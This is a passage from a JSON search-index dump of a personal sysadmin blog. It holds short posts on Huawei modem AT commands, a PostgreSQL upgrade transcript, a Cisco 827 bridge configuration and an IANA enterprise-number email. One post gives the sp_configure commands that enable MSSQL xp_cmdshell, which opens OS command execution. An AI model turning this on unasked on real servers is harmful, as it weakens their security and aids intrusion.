style=\"display:flex;\"\u003e\u003cspan\u003eAT^U2DIAG=276 Reset to factory Defaults\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAT^CVOICE=? Gives Status of your modems voice..\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAT^CVOICE=0 Enable Voice\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAT^CVOICE=1 Disable Voice\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eATI  Gives Manufacture Information of Modem\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAT+CGMR  Gives firmware version of Modem\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAT+CGSN  Gives IMEI of Modem\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAT+CIMI  Gives IMSI of Modem\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Hauwei dongle AT commad"},{"content":"Execute a query with a sysadmin grant user.\nEXEC sp_configure \u0026#39;show advanced options\u0026#39;, 1 GO RECONFIGURE GO EXEC sp_configure \u0026#39;xp_cmdshell\u0026#39;, 1 GO RECONFIGURE GO ","permalink":"https://www.deepreflect.net/2013/06/18/mssql-enable-xp_cmdshell/","summary":"\u003cp\u003eExecute a query with a sysadmin grant user.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEXEC sp_configure \u0026#39;show advanced options\u0026#39;, 1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGO\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRECONFIGURE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGO\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEXEC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esp_configure \u0026#39;xp_cmdshell\u0026#39;, 1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGO\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRECONFIGURE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGO\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"MSSQL Enable xp_cmdshell"},{"content":"Retrieving http://yum.postgresql.org/9.2/redhat/rhel-6-x86_64/pgdg-centos92-9.2-6.noarch.rpm Preparing... ########################################### [100%] 1:pgdg-centos92 ########################################### [100%] [root@srv02mil1 ~]# yum install postgresql92-server postgresql92-contrib postgresql92 postgresql92-libs [root@srv02mil1 ~]# /etc/init.d/postgresql-9.1 stop Stopping postgresql-9.1 service: [ OK ] [root@srv02mil1 ~]# su - postgres [postgres@srv01mil1 ~]$ /usr/pgsql-9.2/bin/pg_upgrade -b /usr/pgsql-9.1/bin/ -B /usr/pgsql-9.2/bin/ -d /var/lib/pgsql/9.1/data/ -D /var/lib/pgsql/9.2/data/ Performing Consistency Checks ----------------------------- Checking current, bin, and data directories ok Checking cluster versions ok Checking database user is a superuser ok Checking for prepared transactions ok Checking for reg* system OID user data types ok Checking for contrib/isn with bigint-passing mismatch ok Creating catalog dump ok Checking for presence of required libraries ok Checking database user is a superuser ok Checking for prepared transactions ok If pg_upgrade fails after this point, you must re-initdb the new cluster before continuing. Performing Upgrade ------------------ Analyzing all rows in the new cluster ok Freezing all rows on the new cluster ok Deleting files from new pg_clog ok Copying old pg_clog to new server ok Setting next transaction ID for new cluster ok Resetting WAL archives ok Setting frozenxid counters in new cluster ok Creating databases in the new cluster ok Adding support functions to new cluster ok Restoring database schema to new cluster ok Removing support functions from new cluster ok Copying user relation files ok Setting next OID for new cluster ok Creating script to analyze new cluster ok Creating script to delete old cluster ok Upgrade Complete ---------------- Optimizer statistics are not transferred by pg_upgrade so, once you start the new server, consider running: analyze_new_cluster.sh Running this script will delete the old cluster\u0026#39;s data files: delete_old_cluster.sh [postgres@srv01mil1 ~]$ [postgres@srv01mil1 ~]$ exit logout [root@srv02mil1 ~]# /etc/init.d/postgresql-9.2 start Starting postgresql-9.2 service: [ OK ] ","permalink":"https://www.deepreflect.net/2013/06/18/upgrade-pgsql-from-9-1-to-9-2/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-zed\" data-lang=\"zed\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRetrieving http\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e//yum.postgresql.org/9.2/redhat/rhel-6-x86_64/pgdg-centos92-9.2-6.noarch.rpm\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePreparing...                \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e###########################################\u003c/span\u003e [\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e100\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003epgdg\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ecentos92          \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e###########################################\u003c/span\u003e [\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e100\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003esrv02mil1 \u003cspan style=\"color:#f92672\"\u003e~\u003c/span\u003e]\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e#\u003c/span\u003e yum install postgresql92\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eserver postgresql92\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003econtrib postgresql92 postgresql92\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003elibs\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003esrv02mil1 \u003cspan style=\"color:#f92672\"\u003e~\u003c/span\u003e]\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e#\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eetc/init.d/postgresql\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e9\u003c/span\u003e.\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e1\u003c/span\u003e stop\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eStopping postgresql\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e9\u003c/span\u003e.\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e1\u003c/span\u003e service\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e                           [  OK  ]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003esrv02mil1 \u003cspan style=\"color:#f92672\"\u003e~\u003c/span\u003e]\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e#\u003c/span\u003e su \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e postgres\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[postgres\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003esrv01mil1 \u003cspan style=\"color:#f92672\"\u003e~\u003c/span\u003e]\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e$\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr/pgsql\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e9\u003c/span\u003e.\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ebin/pg_upgrade \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eb \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr/pgsql\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e9\u003c/span\u003e.\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ebin/ \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eB \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr/pgsql\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e9\u003c/span\u003e.\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ebin/ \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ed \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003evar/lib/pgsql/\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e9\u003c/span\u003e.\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edata/ \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eD \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003evar/lib/pgsql/\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e9\u003c/span\u003e.\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edata/\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePerforming Consistency Checks\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e-----------------------------\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eChecking current, bin, and data directories                 ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eChecking cluster versions                                   ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eChecking database user is a superuser                       ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eChecking for prepared transactions                          ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eChecking for reg\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e system OID user data types                ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eChecking for contrib/isn with bigint\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003epassing mismatch       ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCreating catalog dump                                       ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eChecking for presence of required libraries                 ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eChecking database user is a superuser                       ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eChecking for prepared transactions                          ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eIf pg_upgrade fails after this point, you must re\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003einitdb the\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enew cluster before continuing.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePerforming Upgrade\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e------------------\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAnalyzing all rows in the new cluster                       ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFreezing all rows on the new cluster                        ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDeleting files from new pg_clog                             ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCopying old pg_clog to new server                           ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSetting next transaction ID for new cluster                 ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eResetting WAL archives                                      ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSetting frozenxid counters in new cluster                   ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCreating databases in the new cluster                       ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAdding support functions to new cluster                     ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRestoring database schema to new cluster                    ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRemoving support functions from new cluster                 ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCopying user \u003cspan style=\"color:#f92672\"\u003erelation\u003c/span\u003e files\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSetting next OID for new cluster                            ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCreating script to analyze new cluster                      ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCreating script to delete old cluster                       ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUpgrade Complete\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e----------------\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eOptimizer statistics are not transferred by pg_upgrade so,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eonce you start the new server, consider running\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eanalyze_new_cluster.sh\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRunning this script will delete the old cluster\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\u0026#39;\u003c/span\u003es data files\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edelete_old_cluster.sh\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[postgres\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003esrv01mil1 \u003cspan style=\"color:#f92672\"\u003e~\u003c/span\u003e]\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e$\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[postgres\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003esrv01mil1 \u003cspan style=\"color:#f92672\"\u003e~\u003c/span\u003e]\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e$\u003c/span\u003e exit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elogout\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003esrv02mil1 \u003cspan style=\"color:#f92672\"\u003e~\u003c/span\u003e]\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e#\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eetc/init.d/postgresql\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e9\u003c/span\u003e.\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e2\u003c/span\u003e start\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eStarting postgresql\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e9\u003c/span\u003e.\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e2\u003c/span\u003e service\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e                           [  OK  ]\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Upgrade PGSQL from 9.1 to 9.2"},{"content":"\n","permalink":"https://www.deepreflect.net/2013/04/06/out-of-office-for-sometime/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/2013/04/ooo.gif\"\u003e\u003c/p\u003e","title":"Out-of-Office for sometime"},{"content":"Messaging =\u0026gt; Configurations =\u0026gt; MIME =\u0026gt; Conversion Options\n","permalink":"https://www.deepreflect.net/2013/03/25/domino-outbound-internet-address-conversion/","summary":"\u003cp\u003eMessaging =\u0026gt; Configurations =\u0026gt; MIME =\u0026gt; Conversion Options\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/2013/03/domino.png\"\u003e\u003c/p\u003e","title":"Domino - Outbound internet address conversion"},{"content":"Dear Leonardo Rizzi,\nYour application [Request-54213] has been completed and a PEN has been assigned.\nYour organization\u0026rsquo;s PEN is: 41129\nBelow is a copy of your PEN record. This record will be visible in the IANA PEN registry within an hour.\nThe IANA PEN registry is available at the following address:\nhttp://www.iana.org/assignments/enterprise-numbers\nDecimal | Organization | | Contact | | | Email | | | | 41129 WideNet Leonardo Rizzi l.rizzi\u0026amp;wide-net.org ","permalink":"https://www.deepreflect.net/2013/03/04/pen/","summary":"\u003cp\u003eDear Leonardo Rizzi,\u003c/p\u003e\n\u003cp\u003eYour application [Request-54213] has been completed and a PEN has been assigned.\u003c/p\u003e\n\u003cp\u003eYour organization\u0026rsquo;s PEN is: 41129\u003c/p\u003e\n\u003cp\u003eBelow is a copy of your PEN record. This record will be visible in the IANA PEN registry within an hour.\u003c/p\u003e\n\u003cp\u003eThe IANA PEN registry is available at the following address:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.iana.org/assignments/enterprise-numbers\"\u003ehttp://www.iana.org/assignments/enterprise-numbers\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDecimal\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Organization\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| | Contact\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| | | Email\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| | | |\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e41129\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  WideNet\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Leonardo Rizzi\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      l.rizzi\u0026amp;wide-net.org\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"PEN"},{"content":"This is a configuration for use old cisco 827 router as rfc1483 bridge (a stupid pppoe modem)\nversion 12.1 no service pad service timestamps debug uptime service timestamps log uptime no service password-encryption ! hostname Router ! ! ! ! ! ! ip subnet-zero no ip routing ! ! ! ! interface Ethernet0 no ip address no ip route-cache bridge-group 1 ! interface ATM0 no ip address no ip route-cache no atm ilmi-keepalive bundle-enable dsl operating-mode auto ! interface ATM0.1 point-to-point no ip route-cache pvc 8/35 encapsulation aal5snap ! bridge-group 1 ! ip classless no ip http server ! bridge 1 protocol ieee ! line con 0 transport input none stopbits 1 line vty 0 4 login ! scheduler max-task-time 5000 end ","permalink":"https://www.deepreflect.net/2013/03/01/cisco-827-as-adsl-rfc-1483-bridge/","summary":"\u003cp\u003eThis is a configuration for use old cisco 827 router as rfc1483 bridge (a stupid pppoe modem)\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eversion 12.1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eno service pad\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eservice timestamps debug uptime\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eservice timestamps log uptime\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eno service password-encryption\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ehostname Router\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eip subnet-zero\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eno ip routing\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003einterface Ethernet0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e no ip address\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e no ip route-cache\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e bridge-group 1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003einterface ATM0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e no ip address\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e no ip route-cache\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e no atm ilmi-keepalive\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e bundle-enable\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e dsl operating-mode auto\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003einterface ATM0.1 point-to-point\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e no ip route-cache\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e pvc 8/35\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  encapsulation aal5snap\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e !\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e bridge-group 1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eip classless\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eno ip http server\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ebridge 1 protocol ieee\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eline con 0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e transport input none\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e stopbits 1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eline vty 0 4\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e login\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003escheduler max-task-time 5000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eend\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Cisco 827 as ADSL  RFC 1483 Bridge"},{"content":"dmesg tail:\nda0 at umass-sim0 bus 0 target 0 lun 0 da0: 